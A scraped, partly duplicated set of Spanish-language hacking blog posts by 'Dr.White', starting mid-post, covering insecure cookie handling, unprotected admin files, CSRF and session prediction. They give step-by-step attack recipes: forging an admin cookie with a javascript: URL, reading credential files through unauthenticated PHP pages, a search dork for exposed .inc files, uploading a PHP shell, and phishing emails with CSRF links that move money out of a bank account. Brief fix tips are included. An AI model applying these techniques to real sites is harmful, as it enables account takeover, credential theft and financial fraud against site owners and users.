javascript:document.cookie = "testcookie; path=/";


como ven nos hemos asignado la cookie... y el path=/ quiere decir que nos va a funcionar en todo el dominio... pero también podemos usar los headers... con el live-http-headers y hacer un set-cookie y ponernosla pero bueno ahora si creo que ya solo nos queda navegar y buscar lo que nos interese.


Ustedes pensarán como obtenemos la cookie pues esa es la parte difícil, por eso en previas entradas he hablado sobre un par...


Session Prediction

Robo de cookies por un Xss

Ahora si no pueden hacer ninguna de estas puede ser con algo de ingeniería social...

-------------


como lo reparamos?

Esta pregunta tiene muchas respuestas como la mayoría de preguntas en lo que es seguridad informática pero pues la que yo les puedo dar es que usen sesiones, en el caso muy no recomendado que quieran usar cookies pues les recomiendo que hagan la cookie random y que duren maximo 1h cosa que el atacante no tenga mucho tiempo y que el administrador tenga sierto tiempo en poner solo lo necesario.


Espero les sirva este tutorial...



Saludos
Dr.White

Pentest: Insecure Cookie Handling

No había tenido imaginación para escribir en los últimos dias pero hoy me desperte y un amigo me estaba pidiendo ayuda con una Sql Injection, despues de un rato de salir a comprar un te helado entre a una web que tenía este error así que hoy les voy a explicar masomenos el funcionamiento de ese bug.


Lo primero vamos a ver la linea de código que le asigna una COOKIE a digamos el administrador

setcookie("testcookie","1");


Ahora como vemos ya sabemos que la cookie se llama testcookie pero por ahora no nos vamos a fijar en eso...

miren este code:

if($_COOKIE['testcookie']=="1")
{
include "admin.php";
}
else {
die('no eres el admin'); }


Recuerda el tutorial de argument injection ya pues esto va a ser algo parecido... el anterior code dice que si nosotros tenemos testcookie entonces nos hara un include del admin.php

Ahora miren el code del login...


if($_POST['pass'] == $hashedpass) {
setcookie("testcookie","1"); //esto lo vimos antes
} else {
die("no entraste");
}


como ven lo que dice es lo siguiente... si nuestra pass es la pass que haya escojido el administrador nos asigna una cookie que es testcookie y cuando apretamos mas abajo pregunta en el code digamos que esta lo mismo que pusimos en el code numero 1:

if($_COOKIE['testcookie']=="1")
{
include "admin.php";
}
else {
die('no eres el admin'); }

jeje ahora si creo que no puede estar mas claro pero en resumen es... si la pass es correcta nos pone una cookie y si la tenemos nos lleva a admin.php


Ahora si ni mas que decir la expl0tación...


vamos a nuestro browser...

y donde se pone la url ponemos:

javascript:document.cookie = "testcookie; path=/";


como ven nos hemos asignado la cookie... y el path=/ quiere decir que nos va a funcionar en todo el dominio... pero también podemos usar los headers... con el live-http-headers y hacer un set-cookie y ponernosla pero bueno ahora si creo que ya solo nos queda navegar y buscar lo que nos interese.


Ustedes pensarán como obtenemos la cookie pues esa es la parte difícil, por eso en previas entradas he hablado sobre un par...


Session Prediction

Robo de cookies por un Xss

Ahora si no pueden hacer ninguna de estas puede ser con algo de ingeniería social...

-------------


como lo reparamos?

Esta pregunta tiene muchas respuestas como la mayoría de preguntas en lo que es seguridad informática pero pues la que yo les puedo dar es que usen sesiones, en el caso muy no recomendado que quieran usar cookies pues les recomiendo que hagan la cookie random y que duren maximo 1h cosa que el atacante no tenga mucho tiempo y que el administrador tenga sierto tiempo en poner solo lo necesario.


Espero les sirva este tutorial...



Saludos
Dr.White

Insecure Permissions

Hoy les voy a enseñar de esta técnica...

Bueno, esta técnica consiste en que gracias a un cojunto de errores podemos acceder a directorios de la administración sin previo chequeo de identidad... digamos la siguiente situación...


el htaccess de la web que tenemos que entrar dice:

# no hackers admited jajaja


Ahora eso está en /protected-files/

Ahora comenzamos con los errores del programador ¬¬


vamos a darle una apariencia al panel digamos que tendrá estas opciones:


- Agregar usuario
- Ver usuarios
- Eliminar Usuario
- Perfil Administrador


Ahora vamos a ves la segunda opción que por ahora es la que nos va a interesar...

Ver usuarios (nos dejará ver los usuarios de una DB) y pues el nombre del archivo al que nos lleva es see_users.php y el codigo es el siguiente:





<?php

readfile('protected-files/users.txt');

?>


como vemos el codigo llama a un archivo de un directorio con htaccess :( estamos perdidos... no! si hay esperanza como ven el archivo no pide verificación de cookie ni user ni nada entonces que creen que pasaría si nosotros fuesemos a:


www.web.com/admin/

lógico nos pide autentificacion pero como sabemos que existe see_users.php vamos a ver que pasa si agregamos...


www.web.com/admin/see_users.php

¡Mi dios! hemos conseguido ver los usuarios que se encuentran en users.txt

Ahora asi como hemos conseguido ver los users los datos del administrador sale userinf.txt en user y pass... que es esto? mm bueno entonces nosotros como somos mas pilas que el programador veremos si se trata de algo que nos ocultan...


Vamos a www.web.com/admin/userinf.txt


lamentablemente dice que no existe un 404... ahora mm veremos quizas está en el directorio prohibido y si está ahí significa que puede haber un PHP que nos lleve ;)

buscando y pensando llegamos a la 4ta opcion del menú que nos lleva a panel_info.php que tiene el code:




<?php

readfile('protected-files/userinf.txt');

?>


entonces ya tenemos el user y pass de la administracion y ya podremos entrar con todos los privilegios y dumpearnos la DB si hay la opcion y si se pueden subir imagenes subir una shell en php...

Les recomiendo no siempre fijarse en directorios como /Admin/ para este bug por que hay veces que la info la guardan en archivos .inc que inclusive uno puede hayar en google:

Dork: mysql filetype:inc

con eso hayariamos buena info...


Bueno y como fixean esto?

pues muy fácil necesitamos saber antes de dar acceso si está logueado... como lo sabemos?

mm debemos usar una bandera que si esta logueado sea true y sino sea false pero como hacemos eso?

pues miren el tuto de Argumente Injection y fijense no poner un codigo tan simple como ese sino agregar verificacion de cookie como se muestra en esa entrada o algo por el estilo depende de la imaginacion del programador...


Espero les sirva esta información...


Saludos
Dr.White

Insecure Permissions

Hoy les voy a enseñar de esta técnica...

Bueno, esta técnica consiste en que gracias a un cojunto de errores podemos acceder a directorios de la administración sin previo chequeo de identidad... digamos la siguiente situación...


el htaccess de la web que tenemos que entrar dice:

# no hackers admited jajaja


Ahora eso está en /protected-files/

Ahora comenzamos con los errores del programador ¬¬


vamos a darle una apariencia al panel digamos que tendrá estas opciones:


- Agregar usuario
- Ver usuarios
- Eliminar Usuario
- Perfil Administrador


Ahora vamos a ves la segunda opción que por ahora es la que nos va a interesar...

Ver usuarios (nos dejará ver los usuarios de una DB) y pues el nombre del archivo al que nos lleva es see_users.php y el codigo es el siguiente:





<?php

readfile('protected-files/users.txt');

?>


como vemos el codigo llama a un archivo de un directorio con htaccess :( estamos perdidos... no! si hay esperanza como ven el archivo no pide verificación de cookie ni user ni nada entonces que creen que pasaría si nosotros fuesemos a:


www.web.com/admin/

lógico nos pide autentificacion pero como sabemos que existe see_users.php vamos a ver que pasa si agregamos...


www.web.com/admin/see_users.php

¡Mi dios! hemos conseguido ver los usuarios que se encuentran en users.txt

Ahora asi como hemos conseguido ver los users los datos del administrador sale userinf.txt en user y pass... que es esto? mm bueno entonces nosotros como somos mas pilas que el programador veremos si se trata de algo que nos ocultan...


Vamos a www.web.com/admin/userinf.txt


lamentablemente dice que no existe un 404... ahora mm veremos quizas está en el directorio prohibido y si está ahí significa que puede haber un PHP que nos lleve ;)

buscando y pensando llegamos a la 4ta opcion del menú que nos lleva a panel_info.php que tiene el code:




<?php

readfile('protected-files/userinf.txt');

?>


entonces ya tenemos el user y pass de la administracion y ya podremos entrar con todos los privilegios y dumpearnos la DB si hay la opcion y si se pueden subir imagenes subir una shell en php...

Les recomiendo no siempre fijarse en directorios como /Admin/ para este bug por que hay veces que la info la guardan en archivos .inc que inclusive uno puede hayar en google:

Dork: mysql filetype:inc

con eso hayariamos buena info...


Bueno y como fixean esto?

pues muy fácil necesitamos saber antes de dar acceso si está logueado... como lo sabemos?

mm debemos usar una bandera que si esta logueado sea true y sino sea false pero como hacemos eso?

pues miren el tuto de Argumente Injection y fijense no poner un codigo tan simple como ese sino agregar verificacion de cookie como se muestra en esa entrada o algo por el estilo depende de la imaginacion del programador...


Espero les sirva esta información...


Saludos
Dr.White

PenTest: Cross Site Request Forgery

Este Bug es muy especial ya que con este podemos robar dinero de una manera muy fácil si el sistema de seguridad del banco no es bueno...


Primero quiero explicar un poco como funciona el ataque...

Nosotros descubrimos que las cookies de un banco duran mas del tiempo que deberían durar entonces si nosotros entramos a:

http://feisbuk.com --> nos logueamos

nos manda a:

http://feisbuk.com/home

ahora si nosotros entramos mañana y las cookies no se vencen como deberían y hay problemas con las sessiones entonces nos debería de mandar a

http://feisbuk.com/home --> sin haberse logueado el mismo dia

Ahora digamos que queremos agregar un amigo a feisbuk, nuestro amigo será Jorge Romero.

POST http://feisbuk.com/friends.php HTTP/1.1
...
...
...
...
======================
name=jorge&lname=romero


Como vemos tenemos la parte importante, lo que nos interesa es: name=jorge&lname=romero una ves que tenemos eso el resto ya es más fácil.

si nosotros quisieramos información sobre un tal david andrade el cual no nos acepta como amigo y sabemos que le gustan los carros podriamos hacer lo siguiente...

desde:

un mail cualquiera (podemos usar un mailer) mandarle un correo falso incluyendo lo siguien en el mail:


<a href="http://feisbuk.com/friends.php?name=seguridad&lname=blanca">Click para ver los últimos carros </a>


Si el diera click nosotros podriamos obtener su admistad automatica en feisbuk...

lógico esto no debería ocurrir por que los bancos deberían poner siertos tokens que duren minutos para agregar amigos y siempre ver referer y una cantidad de cosas para proteger al usuario.


Ahora si viene la parte que a muchos le ha de gustar y a otros le divertirá aprender esto...


Explotandolo en un banco:

Nuestro usuario del banco Armando Bronca le ah hecho una tranferencia de 10 Dolares a Perico Palotes y cuando dio click lo que se hizo fue esto...

http://bancodelanacionytodoslospaises.com/account/transferir.php?acct=pericopalotes&amount=10&moneda=dolar

ahora vamos a hacer lo mismo que hicimos en FeisBuk...

le mandamos un mail a nuestra victima que le gustan las motos diciendo algo como:


<a href="http://bancodelanacionytodoslospaises.com/account/transferir.php?acct=nosotros&amount=100000000&moneda=euro">Click aquí para ver las últimas motos </a>


Si nuestra victima da click nos habrá transferido mucho dinero...

ahora comprenden la gravedad sin mencionar los robos de información que ocurren por este bug...



Como podemos evitarlos siendo admin?

- Agregar tokens a casi todo
- siempre ver referer
- asegurar de que se caduquen las cookies y/o Sessiones


Con los tips de arriba creo que ya no sería tan fácil explotar algo como esto...

y como usuario?

- asegurate que las urls sean reales siempre
- no confies en la publicidad enviada por correo de sitios que no son serios


Bueno espero que con esto haya podido explicar que es el CSRF...


Suscribanse al Blog Plz...


Saludos
Dr.White

PenTest: Cross Site Request Forgery

Este Bug es muy especial ya que con este podemos robar dinero de una manera muy fácil si el sistema de seguridad del banco no es bueno...


Primero quiero explicar un poco como funciona el ataque...

Nosotros descubrimos que las cookies de un banco duran mas del tiempo que deberían durar entonces si nosotros entramos a:

http://feisbuk.com --> nos logueamos

nos manda a:

http://feisbuk.com/home

ahora si nosotros entramos mañana y las cookies no se vencen como deberían y hay problemas con las sessiones entonces nos debería de mandar a

http://feisbuk.com/home --> sin haberse logueado el mismo dia

Ahora digamos que queremos agregar un amigo a feisbuk, nuestro amigo será Jorge Romero.

POST http://feisbuk.com/friends.php HTTP/1.1
...
...
...
...
======================
name=jorge&lname=romero


Como vemos tenemos la parte importante, lo que nos interesa es: name=jorge&lname=romero una ves que tenemos eso el resto ya es más fácil.

si nosotros quisieramos información sobre un tal david andrade el cual no nos acepta como amigo y sabemos que le gustan los carros podriamos hacer lo siguiente...

desde:

un mail cualquiera (podemos usar un mailer) mandarle un correo falso incluyendo lo siguien en el mail:


<a href="http://feisbuk.com/friends.php?name=seguridad&lname=blanca">Click para ver los últimos carros </a>


Si el diera click nosotros podriamos obtener su admistad automatica en feisbuk...

lógico esto no debería ocurrir por que los bancos deberían poner siertos tokens que duren minutos para agregar amigos y siempre ver referer y una cantidad de cosas para proteger al usuario.


Ahora si viene la parte que a muchos le ha de gustar y a otros le divertirá aprender esto...


Explotandolo en un banco:

Nuestro usuario del banco Armando Bronca le ah hecho una tranferencia de 10 Dolares a Perico Palotes y cuando dio click lo que se hizo fue esto...

http://bancodelanacionytodoslospaises.com/account/transferir.php?acct=pericopalotes&amount=10&moneda=dolar

ahora vamos a hacer lo mismo que hicimos en FeisBuk...

le mandamos un mail a nuestra victima que le gustan las motos diciendo algo como:


<a href="http://bancodelanacionytodoslospaises.com/account/transferir.php?acct=nosotros&amount=100000000&moneda=euro">Click aquí para ver las últimas motos </a>


Si nuestra victima da click nos habrá transferido mucho dinero...

ahora comprenden la gravedad sin mencionar los robos de información que ocurren por este bug...



Como podemos evitarlos siendo admin?

- Agregar tokens a casi todo
- siempre ver referer
- asegurar de que se caduquen las cookies y/o Sessiones


Con los tips de arriba creo que ya no sería tan fácil explotar algo como esto...

y como usuario?

- asegurate que las urls sean reales siempre
- no confies en la publicidad enviada por correo de sitios que no son serios


Bueno espero que con esto haya podido explicar que es el CSRF...


Suscribanse al Blog Plz...


Saludos
Dr.White

PenTest: Session Prediction

Bueno previo de explicar como funciona quiero decirles que cuando las autentificaciones no están bien formuladas y nosotros obtenemos el cookie de una personas podriamos ponerlo y entraríamos como esa persona, según como lo hagamos se podría denominasr session fixation o cookie poisoning... ahora y eso que aquí la ponemos difícil miren las sigueinte cabecera:

Host: www.seguridadblanca.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Cookie: PHPSESID=de2se1e95f0d01fd0efb8c66d5c1b7d0
Cache-Control: max-age=0


Bueno ahora ustedes lo ven normal ven todo parecido a sus headers si es que fuese real... pero hay algo que cambió

esta línea:

Cookie: PHPSESID=de2se1e95f0d01fd0efb8c66d5c1b7d0

En este caso la cookie está encriptada en MD5

Ahora si empesemos con una breve explicación de que cosa es el Session Prediction, aquí ustedes pueden apreciarlo encritpado en MD5 pero imaginense la siguiente situación, me registro en www.sitiox.com y mis datos son:

user: Camilo
pass: ju$tat3st


ahora imaginen que ya estamos en el index de la web queremos no se administrar nuestro perfil y pues se nos ocurre poner el live http headers y cuando vemos los headers vemos esto:


Host: www.sitiox.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Cookie: XSESID=camilositiox01
Cache-Control: max-age=0

vemos que la encriptación no está y la cookie que pasa con ella? mmm a ver la cookie segun lo que veo aquí es mi user + sitiox + 01 mmm veamos... nos salimos y creamos una cuenta en este caso los datos serán lo siguientes:

user: dedalo
pass: test2

y cuando volvemos a poner el live http headers vemos que dice esto:

Host: www.sitiox.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Cookie: XSESID=dedalositiox01
Cache-Control: max-age=0

hemos visto como es el algoritmo de creación ya lo tenemos resuelto... digamos que ahora usamos un amiguito en PHP o PERL que contenga unas lineas con SOCKETS o CURL y pues ponemos el algoritmo o si no hacemos un exploit creo que una opción para sacar entrar como admin sería cambiar nuestro XSESID por XSESID=nombredeladminsitiox01.

Digamos que el 01 fuese por el numero de dias que lleva el sitio en la red con ayuda de sitios como archive o whois podríamos encontrar maneras de saber cuantos dias lleva en la red o pues ya tocaría usar la iamginación para desifrar que tipo de algoritmo usó para hacer su sesión.


Fix?

Para reparar este error antes que todo deberíamos de agregarle un MD5() antes de mostrar sus cookies para evitar estos errores... ahora tambien deberíamos agregar una variable que diga que si el user y pass son correctos verifique la cookie como lo dije en el anterior tutorial de Argument injection


Espero hayan entendido ya que no me fue fácil explicar como funcionaba esto... espero les guste...


Saludos
Dr.White

PenTest: Session Prediction

Bueno previo de explicar como funciona quiero decirles que cuando las autentificaciones no están bien formuladas y nosotros obtenemos el cookie de una personas podriamos ponerlo y entraríamos como esa persona, según como lo hagamos se podría denominasr session fixation o cookie poisoning... ahora y eso que aquí la ponemos difícil miren las sigueinte cabecera:

Host: www.seguridadblanca.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Cookie: PHPSESID=de2se1e95f0d01fd0efb8c66d5c1b7d0
Cache-Control: max-age=0


Bueno ahora ustedes lo ven normal ven todo parecido a sus headers si es que fuese real... pero hay algo que cambió

esta línea:

Cookie: PHPSESID=de2se1e95f0d01fd0efb8c66d5c1b7d0

En este caso la cookie está encriptada en MD5

Ahora si empesemos con una breve explicación de que cosa es el Session Prediction, aquí ustedes pueden apreciarlo encritpado en MD5 pero imaginense la siguiente situación, me registro en www.sitiox.com y mis datos son:

user: Camilo
pass: ju$tat3st


ahora imaginen que ya estamos en el index de la web queremos no se administrar nuestro perfil y pues se nos ocurre poner el live http headers y cuando vemos los headers vemos esto:


Host: www.sitiox.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Cookie: XSESID=camilositiox01
Cache-Control: max-age=0

vemos que la encriptación no está y la cookie que pasa con ella? mmm a ver la cookie segun lo que veo aquí es mi user + sitiox + 01 mmm veamos... nos salimos y creamos una cuenta en este caso los datos serán lo siguientes:

user: dedalo
pass: test2

y cuando volvemos a poner el live http headers vemos que dice esto:

Host: www.sitiox.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Cookie: XSESID=dedalositiox01
Cache-Control: max-age=0

hemos visto como es el algoritmo de creación ya lo tenemos resuelto... digamos que ahora usamos un amiguito en PHP o PERL que contenga unas lineas con SOCKETS o CURL y pues ponemos el algoritmo o si no hacemos un exploit creo que una opción para sacar entrar como admin sería cambiar nuestro XSESID por XSESID=nombredeladminsitiox01.

Digamos que el 01 fuese por el numero de dias que lleva el sitio en la red con ayuda de sitios como archive o whois podríamos encontrar maneras de saber cuantos dias lleva en la red o pues ya tocaría usar la iamginación para desifrar que tipo de algoritmo usó para hacer su sesión.


Fix?

Para reparar este error antes que todo deberíamos de agregarle un MD5() antes de mostrar sus cookies para evitar estos errores... ahora tambien deberíamos agregar una variable que diga que si el user y pass son correctos verifique la cookie como lo dije en el anterior tutorial de Argument injection


Espero hayan entendido ya que no me fue fácil explicar como funcionaba esto... espero les guste...


Saludos
Dr.White